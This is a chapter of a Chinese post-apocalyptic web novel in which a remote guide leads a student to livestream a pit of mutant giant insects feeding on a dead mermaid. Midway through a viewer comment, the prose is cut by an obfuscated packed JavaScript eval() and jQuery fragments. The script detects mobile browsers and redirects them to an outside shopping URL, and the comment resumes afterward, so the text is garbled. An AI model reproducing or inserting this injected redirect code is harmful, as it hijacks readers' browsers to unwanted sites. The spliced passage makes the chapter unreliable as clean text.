“今晚由我担任您此次行动的向导，请您根据我的指示行动，请打开摄像头。”


    袁璞照做，他胸口的隐性摄像头开始工作，画面同步传到周归栖的电脑上。


    周归栖下意识想分出一缕精神力进入网络，这样摄像头就会直接变成她的眼睛。但使用异能的时候才想起来自己此刻的异能水平处于被抑制的状态，无法实现这样操作。


    啧。


    用习惯了之后突然没有还真是不方便。


    周归通过摄像画面看到袁璞面前站了六个黑衣人，他们浑身上下包的严严实实只露出一双眼睛，肩膀上背着武器。


    袁璞刚张嘴发出一个音节，其中一个为首的人示意其噤声，于是他又乖乖闭上嘴。


    皎月皑皑，群星无光。


    为首的人从怀中掏出一个罗盘样式的物件，一手端平罗盘，另一边抬起手腕看表，他确认时间后，迎着月光对着罗盘，绕榕树一周后向北行七步。


    周归栖看得很仔细，逐渐发现问题，这个人的影子在月光下无论是什么角度什么方位都不是人影的形状，也不会随着转向变动，影子就只是一个黑色的圆在他脚底。


    就像是棋子中的黑子。


    周归栖将他行走的路径画在纸上，得出一个北斗七星的图案，而第三棵榕树正好就在勺子的中心。


    行径完毕，霎那间乌云闭月，星光大盛。


    远方不知何处幽幽传来一声响指，榕树的树干上幽幽显出一个黑色漩涡。


    黑衣人雇佣兵一个接着一个钻进黑色漩涡，袁璞紧跟其后也钻了进去。


    几人全部进去之后，黑色漩涡逐渐消失，街道恢复宁静。


    晚风悠悠吹过，榕树叶沙沙作响。夜巡安保队打着手电路过时，牵着的巡逻犬呜噫两声，往第三课榕树下引了几步，冲着树干和地面反复闻嗅，一无所获后被巡逻队拉走。


    “每次路过这棵树，巡逻犬都要闻两下。”一个安保队员对另一个安保队员说。


    “害，说不定是狗子的怪癖。”两人边说边走远。


    在那个响指声出现时，周归栖就明白了这是黑市主人的异能“芥地”，他不只能搭建出一个区域，甚至能造出传送阵。


    不过把入口设置在哪个荒郊野岭不好？非得设置在安保力量齐全的富人区，这黑市主人简直就是个骚包！就非得这样炫耀一下自己的实力。


    周归栖撇嘴腹诽。


    镜头黑了一瞬间，再亮起时一行人已经置身于荒区。


    “对表。”雇佣兵领队一句废话都没有，开口道。


    队员们和袁璞核对时间后，领队交给袁璞一个GPS装置，说道：“按定位走就能到你要找的地方，明天早上六点三十八分回这里归位，任何一方十分钟内不到默认未存活。”


    雇佣兵队有自己的任务，他们只是顺道把袁璞带出来罢了。


    袁璞点头表示自己明白了，雇佣兵队朝另一个方向离开。


    传送点距离萋殖坑有一小时行程，现在是22:10，距离开播时间还有一小时五十分钟。


    袁璞环视一圈周围，这里看起来在末世前是一个度假村，此刻都是残壁断垣，还有水草挂在墙壁上，半朽的木头招牌在也风中晃晃悠悠。纵使他再迟钝，也感到一丝渗人的凉意。


    “请问您在吗……管理员先生？”袁璞小小声问，他怕声音大一点自己能被自己吓一跳。


    “我在。”周归栖盯着屏幕神色平静，在荒区待久了，她已经感觉不到在深夜置身于这种环境有多可怕了。


    “展开GPS装置，有具体的地形图。”


    袁璞按照她所说在GPS装置上点了几下，地形图的三维投影的光束显现在空中。


    地形图十分清晰明了，各项数据也都标注清楚。可以看到这里有一片淡水湖，占地面积约250平方公里，度假村沿湖而建在两岸，袁璞的定位显示在东岸。


    东岸全长约70公里，尽头通往枯麓山，而萋殖坑就位于东岸线尽头与枯麓山交界处。


    袁璞默默算了一下，如果是走路的话，完全来不及按时赶到目的地。


    很明显，管理员零叁也考虑到了这个问题。


    “你旁边有一只共享机械蜻蜓。”管理员在耳麦中说道。


    共享机械蜻蜓，末世前就有的共享交通工具，样子就像放大号的竹蜻蜓，或者说直升机螺旋桨，下方是背带，使用者只要背上背带就能被机械蜻蜓带飞上天。


    “我……我没带钱。”袁璞挠头。


    “不用钱，直接用。”周归栖翘起二郎腿靠到椅背。


    袁璞想想也是，这都是末世之前的设备了，即使他带了新联邦币也刷不开啊。


    事实上是周归栖之前在这里生活过一段时间，翻出来店家的权限卡把这一溜机械蜻蜓全刷开了。


    她闲着无聊的时候经常会背着机械蜻蜓去天上看风景，末世前她根本没有享受度假的机会，末世后的度假村别有一番风味，她在这里一直到极端暴雨云飘过来才离开。


    袁璞按照管理员零叁的指示找到了机械蜻蜓，敲了敲，电量显示满格。


    这些共享设备全部都是太阳能供电，所以也不用担心没电。


    他背好背带，选择50码速度，机械蜻蜓的扇叶在头顶开始旋转，带的他头顶的发飞舞起来。


    被局部极端暴雨肆虐过的度假村更加破败，没有被冲垮的地方都在水中被泡发了，墙皮脱落，和一些水生动物被冲上岸后的尸体混在一起，结成了干块儿，可能轻轻一碰就会化为齑粉。


    周归栖看着摄像视野晃晃悠悠渐渐离地，一个个别出心裁造型各异的房顶在他脚下掠过，她突然觉得自己在看什么童话故事动画片，平凡的小男孩某一天遇到好心的精灵，带他去往未知的秘境什么的。


    大概也不是好心的精灵。


    精灵是不会想从小男孩身上赚钱的。


    23：30


    袁璞准时落地。


    度假村的建造止步于两公里之外，这里只有孤零零几间小木屋。


    他脱下机械蜻蜓放好，感觉到这里道路变为下坡路，延伸进尽头的密林。


    “枯麓山景区入园售票点，萋殖坑就在山脚下，上山需要坐缆车，你不用坐，直接走进去。”周归栖介绍说道。


    袁璞看着眼前漆黑的树林，咽了口口水，腿肚子发软。


    周归栖隔着镜头都能感受到他的害怕，鼻子轻轻哼笑了一声，萋殖坑内部的生物环境确实复杂且危险，但边缘相对较好，只要对信息足够了解，就不会有太大问题。


    旅行者·周归栖如是说。


    “我在。”管理员零叁的声音化为电波穿越千里送到他耳中，一声坚定的我在如同一盏拨开迷雾的明灯。


    袁璞双手握了握拳，鼓起勇气迈步走进去。


    他说过会努力的，就不能在门口就被吓退。


    袁璞在杂草中努力辨别道路，既然之前是景区，那么一定有给工作人员留的小路，只不过因为太黑，并且杂草疯长将道路掩盖起来了，所以有些费劲。


    他想起来课上学的东西，蹲下身扒开脚边的杂草，露出一小块泥土。


    袁璞努力回想课本上的图画，伸出一根手指点在泥地上催动异能。只见那一小块泥土开始微动，底下似乎有什么东西在拱来拱去想要破土而出。


    先是露出了一个小头，然后逐渐长出茎身，最后长到一个手掌那么长时“噗”地撑开小伞。


    它抖了抖身体，然后骄傲地开始发光。


    夜魔菇，由鹅膏菌类变异而来。鹅膏菌类具有毒性不可食用，变异后会在夜晚发出光亮，袁璞变出的夜魔菇是改良后的品种，不再具有毒性，并且亮度更高，虽然依旧不可食用但是可以当个夜明珠照明。


    袁璞高兴地将其摘下，托在手心照亮身边一小片区域。


    周归栖挑了挑眉，还行，还算有点用。


    她特地没有让袁璞带照明设备，因为变异生物对工业产品非常敏感，如果被手电筒之类的光晃到，它们会变得暴躁。


    有了光亮之后袁璞的前进速度明显提升，终于在23：55分赶到了萋殖坑边缘。


    他掏出GPS装置，看了看萋殖坑的3d模型。


    萋殖坑成碟状，周长一圈约有1公里，第一层坑位约10米深，第二层坑位约有50米深。


    “你今晚只需要在第一层坑直播就好。”


    23：58


    袁璞打开夜视直播设备，戴在头顶。


    23：59


    周归栖连好线路，上传直播链接。


    “倒计时，5、4、3、2、1……直播开始。”


    一开播，直播间瞬间涌入643人。要知道全院学生一共645人，除了没有被邀请的白溯今和千焰，全员在线。


    周归栖没有开放节点权限，也就是说只允许校内账号进入直播间，即使将链接分享出去，校外账号也是看不了的。网站刚起步，她虽然很想造势，但暂时还不想把动静闹得太大，如果万人、十万人观看，很难不引起新联邦的注意。


    “袁璞开播了，你在看吗？”苏以懿发来一条消息。


    周归栖看着电脑屏幕一边是袁璞直连的摄像头，一边是直播间画面，回复：我在看。


    袁璞需要顺着陡坡下到第一层，他抓着藤蔓一点点往下蹭，画面随着他的动作晃动。


    虽然什么内容都还没拍到，但弹幕依然飞个不停。


    【我在吃芝士炸鸡裹火鸡面，特地留到现在吃，香得很~】


    【我也要吃！】


    【抓紧吃吧，一会真拍到点啥别给你整吐了。】


    【现在是什么情况，我来迟了吗？我怎么什么都没看到啊？】


    【别急啊，应该也是刚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993520|193843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到呢。】


    【我说，别是随便搭了个摄影棚骗人啊！】


    这个陡坡少说也有70度，袁璞呼吸声逐渐粗重，他跑步都受罪，更别说这种需要用到核心力量的运动，他根本就没有核心，全凭异能控制藤蔓把自己缠住才不至于掉下去，双脚尝试着能够踩到平缓的实地后他松开了藤蔓。


    他慢慢移动脑袋环视一周，让摄像头能把周围的环境都仔细拍下来。


    第一层和第二层之间的环形空地宽度在250米左右，这里的植被密度要比上面小一些。


    袁璞抬头，末世后的夜空相较于末世前无甚区别，群星依然安安静静挂在天上，注视着这颗蔚蓝星球从天堂坠落地狱。他从坑底看着被圈起来的夜空，觉得自己像一只井底之蛙。


    【终于不用隔着玻璃看夜空了。】


    有弹幕如是说。在安全区仰望夜空最先看到的是淡蓝色的高能量场，虽然它的存在感不至于遮天蔽日，但透过它看天空就像是透过一块毛玻璃。


    而仰望星空是人类篆刻在基因里的本能。


    【往前走，看看坑底长什么样。】


    周归栖看到有几条这样的弹幕飘了过去，她对袁璞说：“往前走，把摄像头对着坑底拍。”


    袁璞听话照做，又往前走了250米，站在下一层陡坡的边缘将头上的摄像头拆下来，拿在手中对着坑底拍摄。


    说实话其实什么也看不见，前方就是一片深渊，袁璞就像站在某种巨大的远古生物嘴边，踮着脚朝它的胃中张望。


    周归栖在键盘上敲了几下，萋殖坑的3d视图在直播间展现，袁璞所在的位置用一个小绿点标识，观众们通过视图辅助大致搞清了他目前所处方位。


    【就这啊？】


    【在座的各位都是凝视过深渊的人了！胆子都大点！】


    【这还不如我的下饭剧呢！】


    没有立即看到什么刺激眼球、令人肾上腺素飙升的镜头，有不少人开始在弹幕中嘲讽。


    【散了散了……都不会发挥想象力编一下，真没意思！】


    【我说什么来着，其实压根就没去吧！说不定现在煮包身处绿幕大厅呢，后期之神降临！】


    袁璞是看不到弹幕的，自然不会被影响情绪。


    周归栖看着这些看热闹不嫌事大的人，心想这才哪到哪，冷笑道：“再捏一个夜魔菇。”


    袁璞乖巧蹲下又在脚边种了一棵夜魔菇。


    “扔下去。”


    第一层坑的缓冲地段到真正的坑底不再是陡坡，扎扎实实就是悬崖，随着夜魔菇光亮的一路下坠，可以看到悬崖壁似乎是柔软的、如潮水一般在不断蠕动，。


    【那是？】


    【没看清，好像有东西。】


    【谁录屏了？能回放一下吗？】


    “再捏几个扔下去。”


    随着一个又一个夜魔菇被迫跳崖，所有人终于看清了那些是什么东西。


    一群巨大无比的虫子密密麻麻交缠在一起，在悬崖壁上上下游动钻行，这使得悬崖壁看起来就像潮水一般涌动。


    直播间足足安静了五秒，这五秒内没有一个人发弹幕，五秒后铺天盖地的弹幕让直播间都有些卡顿。


    【卧槽？那些是啥东西啊？】


    【好恶心我要吐了！】


    【我看到了好多好多脚……】


    【我看到的是软体的……至少几百条混在一起蠕动……我先去吐一下……】


    【它们不会爬上来吗？我不行了我要换个星球生活。】


    有选修动植物学的学生认出来是什么生物，开始在弹幕中翻笔记。


    【卧槽？变异版史前巨型马陆？？刚刚看到的那玩意儿至少得有十米长，几千条腿！】


    【卧槽？？变异版巨型尸蟞？？刚刚那一个镜头我至少看到几十只一米长的尸蟞！】


    【卧槽？？？变异版巨型死亡蠕虫？？？那个口器能咬死一头牛吧？？】


    【不是哥们你们有些早该灭绝了在这里干嘛？？】


    好问题，在这里干嘛。


    周归栖让袁璞用绳索把镜头放下去。


    【不是！干嘛？！别突我脸啊！】


    【啊啊啊啊啊拿远点啊！！！】


    【它们……在吃什么？】


    镜头拉近后可以看到虫群们忙忙碌碌都是在啃食着什么，从偶尔露出来的空隙中可以看到悬崖壁上有一部分颜色不太对，这石壁怎么是一块灰白色一块青黑色，还会反光？


    随着多个角度位置的调整，众人逐渐看出来这是什么东西。


    这是一条腐烂的、硕大无比的鱼尾靠在坑壁上，会反光的部分是还没被吃完的鳞片。按照这个大小判断，这条死鱼占满了整个坑底。


    “可惜了，他们很难看见全貌，事实上坑底是一条死掉的美人鱼。”周归栖伸了个懒腰，欣赏弹幕上的鬼哭狼嚎。